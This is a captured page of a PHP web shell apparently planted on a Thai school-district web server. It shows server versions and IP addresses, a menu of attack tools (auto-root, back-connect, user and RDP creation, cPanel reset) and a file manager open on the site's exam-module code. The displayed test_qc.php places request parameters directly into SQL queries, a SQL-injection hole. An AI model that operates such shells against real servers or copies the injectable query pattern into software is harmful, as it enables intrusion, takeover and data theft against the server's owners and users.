Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
bets /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score.php
1.58
KB
-rw-r--r--
add_test.php
9.11
KB
-rwxr-xr-x
curriculum.php
7.97
KB
-rwxr-xr-x
curriculum_view.php
25.22
KB
-rwxr-xr-x
examination_set.php
320
B
-rwxr-xr-x
export_to_excel.php
4.24
KB
-rw-r--r--
frm_add_test.php
1.77
KB
-rwxr-xr-x
indicator.php
37.07
KB
-rwxr-xr-x
item_display.php
6.68
KB
-rw-r--r--
khet_paper_report_1.php
61.73
KB
-rw-r--r--
khet_paper_report_2.php
65.56
KB
-rw-r--r--
khet_report_1.php
27.49
KB
-rwxr-xr-x
khet_report_1_mobile.php
8.38
KB
-rwxr-xr-x
khet_report_2.php
68.18
KB
-rwxr-xr-x
level_log.php
1.6
KB
-rw-r--r--
level_record.php
17.37
KB
-rw-r--r--
level_report_1.php
38.07
KB
-rw-r--r--
level_report_2.php
35.32
KB
-rw-r--r--
level_report_3.php
22.22
KB
-rw-r--r--
level_report_4.php
16.65
KB
-rw-r--r--
level_test.php
22.99
KB
-rw-r--r--
livesearch.php
721
B
-rwxr-xr-x
livesearch2.php
729
B
-rw-r--r--
livesearch3.php
756
B
-rw-r--r--
livesearch4.php
727
B
-rw-r--r--
livesearch5.php
1.16
KB
-rw-r--r--
livesearch6.php
1.41
KB
-rw-r--r--
master_test_report.php
16.2
KB
-rw-r--r--
permission.php
11.69
KB
-rwxr-xr-x
print_check.php
3.52
KB
-rw-r--r--
return_ajax_indicator.php
1.64
KB
-rwxr-xr-x
return_ajax_standard.php
805
B
-rwxr-xr-x
return_ajax_substance.php
1.36
KB
-rwxr-xr-x
sch_paper_report_1.php
62.36
KB
-rw-r--r--
sch_report_1.php
65.87
KB
-rwxr-xr-x
sch_report_1_mobile.php
10.62
KB
-rwxr-xr-x
school_limit.php
13.09
KB
-rw-r--r--
standard.php
19.24
KB
-rwxr-xr-x
student_paper_report_1.php
17.6
KB
-rw-r--r--
student_report_1.php
25.54
KB
-rwxr-xr-x
student_report_1_mobile.php
5.51
KB
-rwxr-xr-x
substance.php
16.58
KB
-rwxr-xr-x
test_admin.php
46.87
KB
-rwxr-xr-x
test_admin2.php
6.86
KB
-rw-r--r--
test_admin3.php
11.27
KB
-rw-r--r--
test_admin_book.php
75.57
KB
-rw-r--r--
test_admin_book2.php
19.74
KB
-rw-r--r--
test_import.php
7.86
KB
-rw-r--r--
test_item.php
93.56
KB
-rwxr-xr-x
test_master.php
46.2
KB
-rwxr-xr-x
test_qc.php
15.46
KB
-rw-r--r--
test_qc_person.php
8.05
KB
-rw-r--r--
test_sch.php
6.1
KB
-rwxr-xr-x
test_sch_2.php
26.76
KB
-rwxr-xr-x
test_student.php
34.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_qc.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); $officer=$_SESSION['login_user_id']; $sql = "select * from bets_qc where person_id='$officer' "; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); if(!($result)) { echo "<br>"; echo "<div align='center'><font color='#006666' size='3'>คุณไม่ได้รับสิทธิ์ในการตรวจคุณภาพแบบทดสอบ</font></div>"; exit(); } require_once("modules/bets/time_inc.php"); echo "<br />"; if($index==7){ $sql_test = "select * from bets_test where bets_test.id='$_GET[test_id]'"; $dbquery_test = mysqli_query($connect,$sql_test); $result_test=mysqli_fetch_array($dbquery_test); $_SESSION['test_name']=$result_test['test_name']; $_SESSION['bets_master_test']=$result_test['master_test']; $_SESSION['bets_item_num']=$result_test['item_num']; $index=8; } //แสดงข้อสอบ if($index==8){ echo "<form id='frm1' name='frm1'>"; if(isset($_POST['item_display_index'])){ $item_display=$_POST['item_display_index']+1; } else if(isset($_REQUEST['page'])){ $item_display=$_REQUEST['page']-1; } else{ $item_display=0; } if($item_display==$_SESSION['bets_item_num']){ $item_display=0; } $_REQUEST['page']=$item_display+1; $pagelen=1; // กำหนดแถวต่อหน้า $url_link="option=bets&task=main/test_qc&index=8"; $totalpages=$_SESSION['bets_item_num']; if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=1; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if($_SESSION['user_os']=='mobile'){ if(($totalpages>1) and ($totalpages<6)){ echo "<div align=center>"; echo "ข้อที่ "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>5){ if($page <=3){ $e_page=5; $s_page=1; } if($page>3){ if($totalpages-$page>=2){ $e_page=$page+2; $s_page=$page-2; } else{ $e_page=$totalpages; $s_page=$totalpages-5; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>ข้อแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>ข้อก่อน </a>"; } else { echo "ข้อที่ "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> ข้อถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> ข้อสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">ข้อที่</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } } else{ if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "ข้อที่ "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>ข้อแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>ข้อก่อน </a>"; } else { echo "ข้อที่ "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> ข้อถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> ข้อสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">ข้อที่</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } } //จบแยกหน้า echo "<hr>"; $sql_test = "select *,bets_item.id,bets_master_test.id as master_id from bets_master_test,bets_master_test_2,bets_item where bets_master_test.id=bets_master_test_2.master_test_id and bets_master_test_2.item_id=bets_item.id and bets_master_test.id='$_SESSION[bets_master_test]' order by bets_master_test_2.item_order,bets_master_test_2.id limit $item_display,1"; $dbquery_test = mysqli_query($connect,$sql_test); $result = mysqli_fetch_array($dbquery_test); $right_answer=$result['right_answer']; $indicator_code=$result['indicator_code']; $sql2 = "select * from bets_indicator,bets_standard,bets_substance,bets_group,bets_curriculum where bets_indicator.standard_code=bets_standard.standard_code and bets_standard.substance_code=bets_substance.substance_code and bets_substance.group_code=bets_group.group_code and bets_group.curriculum_code=bets_curriculum.curriculum_code and bets_indicator.indicator_code='$indicator_code' "; $dbquery2 = mysqli_query($connect,$sql2); $result2 = mysqli_fetch_array($dbquery2); $indicator_text=$result2['indicator_text']; $short_name=$result2['short_name']; $standard_text=$result2['standard_text']; $substance_name=$result2['substance_name']; $group_name=$result2['group_name']; $curriculum_code=$result2['curriculum_code']; //sound if(($result['media_item']!="") or ($result['doc_item']!="")){ ?> <link rel="stylesheet" href="./jquery/themes/ui-lightness/jquery.ui.all.css"> <script src="./jquery/jquery-1.5.1.js"></script> <script src="./jquery/external/jquery.bgiframe-2.1.2.js"></script> <script src="./jquery/ui/jquery.ui.core.js"></script> <script src="./jquery/ui/jquery.ui.widget.js"></script> <script src="./jquery/ui/jquery.ui.mouse.js"></script> <script src="./jquery/ui/jquery.ui.draggable.js"></script> <script src="./jquery/ui/jquery.ui.position.js"></script> <script src="./jquery/ui/jquery.ui.resizable.js"></script> <script src="./jquery/ui/jquery.ui.dialog.js"></script> <?php if($_SESSION['user_os']=='mobile'){ ?> <script> // increase the default animation speed to exaggerate the effect $.fx.speeds._default = 300; $(function() { $( "#dialog" ).dialog({ height: 270, width: 375, minHeight: 255, minWidth: 285, autoOpen: false, show: "blind", hide: "explode", modal: true, resizable: false}); $( "#opener" ).click(function() { $( "#dialog" ).dialog( "open" ); return false; }); }); </script> <?php } else{ ?> <script> // increase the default animation speed to exaggerate the effect $.fx.speeds._default = 300; $(function() { $( "#dialog" ).dialog({ height: 400, width: 500, minHeight: 460, minWidth: 380, autoOpen: false, show: "blind", hide: "explode", modal: true, resizable: false}); $( "#opener" ).click(function() { $( "#dialog" ).dialog( "open" ); return false; }); }); </script> <?php } ?> <?php echo "<table width='30%' border='0' align='center'>"; echo "<tr><td align='center'>"; if($result['media_item']!=""){ $media_type=substr("$result[media_item]", -3); if($media_type=="mp3"){ $media_pic="sound_pic.png"; } else if($media_type=="mp4"){ $media_pic="video.jpg"; } else{ $media_pic="sound_pic.png"; } echo "<a id='opener' href='#'><img src=./modules/bets/images/$media_pic border='0'></a>"; } if($result['doc_item']!=""){ ?> <A HREF="javascript:void(0)" onclick="window.open('<?php echo $result['doc_item'];?>','','width=900,height=650,scrollbars')" title="เอกสาร"><span style="text-decoration: none"><img src=./modules/bets/images/book.png border='0'></span></A> <?php } echo "</td></tr>"; echo "</table>"; ?> <div id="dialog" title="เสียง/วิดิโอ"> <?php if($result['media_item']!=""){ if($_SESSION['user_os']=='mobile'){ echo "<table border='0' align='center'>"; echo "<tr><td align='center'><embed src='$result[media_item]' autoplay='true' width='300' height='200'></embed></td></tr>"; echo "</table>"; } else{ echo "<table width='30%' border='0' align='center'>"; echo "<tr><td align='center'><embed src='$result[media_item]' autoplay='false' width='400' height='300'></embed></td></tr>"; echo "</table>"; } } ?> </div> <?php } //end sound if($result['item_type']==1){ echo "<table width='75%' border='0' align='center'>"; echo "<tr></td><td align='center'>"; $ori_size=getimagesize($result['pic_item']); $ori_w=$ori_size[0]; if($ori_w>700){ echo "<img src='$result[pic_item]' border='0' width='700'>"; } else{ echo "<img src='$result[pic_item]' border='0'>"; } echo "</td></tr>"; echo "</table>"; } if($result['item_type']==2){ echo "<table width='75%' border='0' align='center'>"; echo "<tr><td align='right' width='100'><font size='4' color='#000066'><b>คำถาม :</b></font></td><td><font size='3'>$result[question]</font></td></tr>"; if($result['answer_num']>=1){ echo "<tr><td align='right'><font size='3' color='#000066'><b>1. </b></font></td><td><font size='3'>$result[answer1]</font></td></tr>"; } if($result['answer_num']>=2){ echo "<tr><td align='right'><font size='3' color='#000066'><b>2. </b></font></td><td><font size='3'>$result[answer2]</font></td></tr>"; } if($result['answer_num']>=3){ echo "<tr><td align='right'><font size='3' color='#000066'><b>3. </b></font></td><td><font size='3'>$result[answer3]</font></td></tr>"; } if($result['answer_num']>=4){ echo "<tr><td align='right'><font size='3' color='#000066'><b>4. </b></font></td><td><font size='3'>$result[answer4]</font></td></tr>"; } if($result['answer_num']==5){ echo "<tr><td align='right'><font size='3' color='#000066'><b>5. </b></font></td><td><font size='3'>$result[answer5]</font></td></tr>"; } echo "</table>"; } echo "<Input Type=Hidden Name='item_display_index' Value='$item_display'>"; echo "<Input Type=Hidden Name='item_id' Value='$result[id]'>"; echo "<Input Type=Hidden Name='item_score' Value='$result[score]'>"; echo "<hr>"; echo "<table width='70%' align='center'>"; echo "<tr><td><b><font color='#1E8449'>รหัสข้อสอบ : </font></b><font color='#ABB2B9'>$result[id]</font> <b><font color='#1E8449'>รหัสต้นฉบับ</font> <font color='#ABB2B9'>$result[master_id]</font></td><td></td></tr>"; echo "<tr><td><b><font color='#1E8449'>วิชา : </font></b><font color='#ABB2B9'>$_SESSION[test_name]</font></td><td></td></tr>"; echo "<tr><td><b><font color='#1E8449'>สาระ : </font></b><font color='#ABB2B9'>$substance_name</font> <b><font color='#1E8449'>กลุ่มสาระ : </font></b><font color='#ABB2B9'>$group_name</font> <b><font color='#1E8449'>หลักสูตร : </font></b><font color='#ABB2B9'>$curriculum_code</font></td><td></td></tr>"; echo "<tr><td><b><font color='#1E8449'>มาตรฐาน : </font></b><font color='#ABB2B9'>$short_name $standard_text</font></td><td></td></tr>"; echo "<tr><td><b><font color='#1E8449'>ตัวชี้วัด : </font></b><font color='#ABB2B9'>$indicator_text</font></td><td></td></tr>"; echo "<tr><td><b><font color='#1E8449'>ตัวเลือกที่ถูก : </font></b><font color='#ABB2B9'>$right_answer</font></td><td></td></tr>"; echo "</table>"; echo "<hr>"; echo "<Br>"; echo "<div align='center'><INPUT TYPE='button' name='smb' value='ต่อไป' onclick='goto_url2()'></div>"; echo "</form>"; } //ส่วนการแสดงผล if(!(($index==7) or ($index==8))){ echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>รายการแบบทดสอบ เพื่อการตรวจสอบคุณภาพ</strong></font></td></tr>"; echo "</table>"; echo "<form id='frm1' name='frm1'>"; $today = date("Y-m-d H:i:s"); $sql = "select * from bets_test order by id"; $dbquery = mysqli_query($connect,$sql); echo "<br>"; echo "<table width='600' border='1' borderColor='#000000' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='50'>ที่</Td><Td width='400'>ชื่อแบบทดสอบ</Td><Td width='100'>ชั้น</Td><Td width='50'>ตรวจ</Td></Tr>"; $M=1; While ($result = mysqli_fetch_array($dbquery)){ $id = $result['id']; $test_name= $result['test_name']; $class_room= $result['class_room']; $master_test= $result['master_test']; if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; $sql2 = "select * from bets_qc where person_id='$officer' and test_id='$id'"; $dbquery2 = mysqli_query($connect,$sql2); $result2 = mysqli_fetch_array($dbquery2); if($result2){ echo "<Tr bgcolor=$color align='center'><Td>$M</Td><Td align='left'>$test_name</Td><td>"; if($class_room==4){ echo "ป.1"; } else if($class_room==5){ echo "ป.2"; } else if($class_room==6){ echo "ป.3"; } else if($class_room==7){ echo "ป.4"; } else if($class_room==8){ echo "ป.5"; } else if($class_room==9){ echo "ป.6"; } else if($class_room==10){ echo "ม.1"; } else if($class_room==11){ echo "ม.2"; } else if($class_room==12){ echo "ม.3"; } else if($class_room==13){ echo "ม.4"; } else if($class_room==14){ echo "ม.5"; } else if($class_room==15){ echo "ม.6"; } echo "</td>"; echo "<td><a href=?option=bets&task=main/test_qc&index=7&test_id=$id&master_test=$master_test><img src=images/edit.png border='0'></a></td>"; echo "</Tr>"; $M++; } //if($result2 } //while echo "</Table>"; echo "</form>"; } ?> <script> function goto_url(val){ if(val==1){ if(frm1.sch_test_code.value == ""){ alert("กรุณากรอกรหัสการสอบ"); }else{ callfrm("?option=bets&task=main/test_qc&index=7"); } } } function goto_url2(val){ callfrm("?option=bets&task=main/test_qc&index=8"); } </script>
Close